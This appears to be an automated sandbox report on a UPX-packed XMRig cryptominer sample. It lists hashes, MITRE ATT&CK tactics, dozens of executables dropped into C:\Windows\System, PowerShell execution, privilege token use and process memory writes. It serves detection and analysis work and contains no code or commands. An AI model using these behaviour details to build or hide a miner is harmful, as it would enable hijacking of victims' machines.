Malware Analysis Report

2024-07-28 20:00

Sample ID 240613-qdks7azepg
Target 7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe
SHA256 db1990084a99816063676406ee852c3844310fbf8ff5515f6883cfd7a1b80fab
Tags
miner upx xmrig execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

db1990084a99816063676406ee852c3844310fbf8ff5515f6883cfd7a1b80fab

Threat Level: Known bad

The file 7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe was found to be: Known bad.

Malicious Activity Summary

miner upx xmrig execution

Xmrig family

xmrig

XMRig Miner payload

XMRig Miner payload

Command and Scripting Interpreter: PowerShell

Loads dropped DLL

Executes dropped EXE

UPX packed file

Legitimate hosting services abused for malware hosting/C2

Drops file in Windows directory

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Discovery
TA0007
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Web Service
T1102
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-13 13:08

Signatures

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A

Xmrig family

xmrig

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-13 13:08

Reported

2024-06-13 13:11

Platform

win7-20240611-en

Max time kernel

149s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe"

Signatures

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows\System\LnyYOxg.exe N/A
N/A N/A C:\Windows\System\JmhYEsw.exe N/A
N/A N/A C:\Windows\System\MCkJGUs.exe N/A
N/A N/A C:\Windows\System\dBfEewa.exe N/A
N/A N/A C:\Windows\System\JSJFoxl.exe N/A
N/A N/A C:\Windows\System\JFMfIwx.exe N/A
N/A N/A C:\Windows\System\EXthcsb.exe N/A
N/A N/A C:\Windows\System\NPyfPkj.exe N/A
N/A N/A C:\Windows\System\vAvkYiB.exe N/A
N/A N/A C:\Windows\System\MWhlgwX.exe N/A
N/A N/A C:\Windows\System\reGeKGt.exe N/A
N/A N/A C:\Windows\System\DJFJBGC.exe N/A
N/A N/A C:\Windows\System\eMDXzVL.exe N/A
N/A N/A C:\Windows\System\ZiqgJkk.exe N/A
N/A N/A C:\Windows\System\dudjoCI.exe N/A
N/A N/A C:\Windows\System\xpTknXt.exe N/A
N/A N/A C:\Windows\System\zfitQYD.exe N/A
N/A N/A C:\Windows\System\UNEtrhX.exe N/A
N/A N/A C:\Windows\System\yzaOEjx.exe N/A
N/A N/A C:\Windows\System\wUJsNZC.exe N/A
N/A N/A C:\Windows\System\wAWeJtN.exe N/A
N/A N/A C:\Windows\System\IvzOVkB.exe N/A
N/A N/A C:\Windows\System\bNGCcai.exe N/A
N/A N/A C:\Windows\System\yTaASWN.exe N/A
N/A N/A C:\Windows\System\PVGPtpC.exe N/A
N/A N/A C:\Windows\System\zGUKZVb.exe N/A
N/A N/A C:\Windows\System\arDfBjw.exe N/A
N/A N/A C:\Windows\System\fyVKGlD.exe N/A
N/A N/A C:\Windows\System\BftQMkH.exe N/A
N/A N/A C:\Windows\System\vuikfdn.exe N/A
N/A N/A C:\Windows\System\didrMge.exe N/A
N/A N/A C:\Windows\System\YCDpDIp.exe N/A
N/A N/A C:\Windows\System\TGqjvmT.exe N/A
N/A N/A C:\Windows\System\wSmMINK.exe N/A
N/A N/A C:\Windows\System\Zdsgwbp.exe N/A
N/A N/A C:\Windows\System\BvJXgod.exe N/A
N/A N/A C:\Windows\System\XeZnNWf.exe N/A
N/A N/A C:\Windows\System\dapVsRX.exe N/A
N/A N/A C:\Windows\System\mnIzZCr.exe N/A
N/A N/A C:\Windows\System\bbscTGb.exe N/A
N/A N/A C:\Windows\System\SPJxuqk.exe N/A
N/A N/A C:\Windows\System\UGVjjQj.exe N/A
N/A N/A C:\Windows\System\rlVZfgu.exe N/A
N/A N/A C:\Windows\System\zOxYnvj.exe N/A
N/A N/A C:\Windows\System\YQuRmry.exe N/A
N/A N/A C:\Windows\System\igwHpne.exe N/A
N/A N/A C:\Windows\System\yPLzvvE.exe N/A
N/A N/A C:\Windows\System\MbVsUHQ.exe N/A
N/A N/A C:\Windows\System\Offvicx.exe N/A
N/A N/A C:\Windows\System\CIVTtWI.exe N/A
N/A N/A C:\Windows\System\jfROgtv.exe N/A
N/A N/A C:\Windows\System\NKvQwKn.exe N/A
N/A N/A C:\Windows\System\vGrqSOv.exe N/A
N/A N/A C:\Windows\System\jMjLTRA.exe N/A
N/A N/A C:\Windows\System\vTfTvza.exe N/A
N/A N/A C:\Windows\System\hQeWdeb.exe N/A
N/A N/A C:\Windows\System\LOoXclG.exe N/A
N/A N/A C:\Windows\System\YUuadWi.exe N/A
N/A N/A C:\Windows\System\DSsCQSH.exe N/A
N/A N/A C:\Windows\System\ylnhIEk.exe N/A
N/A N/A C:\Windows\System\QhTQMbV.exe N/A
N/A N/A C:\Windows\System\oIgSwQm.exe N/A
N/A N/A C:\Windows\System\TGpzsGd.exe N/A
N/A N/A C:\Windows\System\pozxMrW.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\System\orrTaSs.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\WUQGzHn.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\eqCHoUf.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\fGLpTWa.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\hxQpKGR.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\KKfYUQq.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\sGGmuez.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\OiuvIMD.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\rEfGzqz.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\bZbYmuz.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\VQseEtX.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\vnQgFQB.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\KrazsDg.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\GaomfZw.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\TwwUpKO.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\bpvNeWJ.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\hlOJoOu.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\opNSKnI.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\JpdFhDt.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\IgmPqeS.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\gaFNnbv.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\XOWVENi.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\BKUbICv.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ZkDCzcq.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\emsubTQ.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\CYpQyuh.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\MKrwHrJ.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\PnUtWMS.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\qLJbOAu.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\GTtaaPy.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\YTQrNku.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\NgNqhck.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\zpVaryB.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\qjICxgW.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\HIHcCdj.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\kLiOFUU.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\hYFziIi.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\BKcRPFT.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\RrOyfFU.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\cxuNeVB.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\RIkASvP.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\HFDeeXJ.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\wKqahCP.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\rnSrmDg.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\mjSoYMR.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\gtUFqcY.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\AOGIexw.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ldCJRjz.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\PXdZPfa.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\yVWmWiu.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\SjIYoFC.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\mGotuRF.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\UwRmedm.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\EmWYhGf.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\lMjEJRY.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\xOQbsKv.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\xoTkxua.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\qMavpog.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\vUTDslz.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\IopwyNX.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ogseebV.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\PDlzqDM.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\YCDpDIp.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\EgzjtVj.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2072 wrote to memory of 2784 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2072 wrote to memory of 2784 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2072 wrote to memory of 2784 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2072 wrote to memory of 1752 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\LnyYOxg.exe
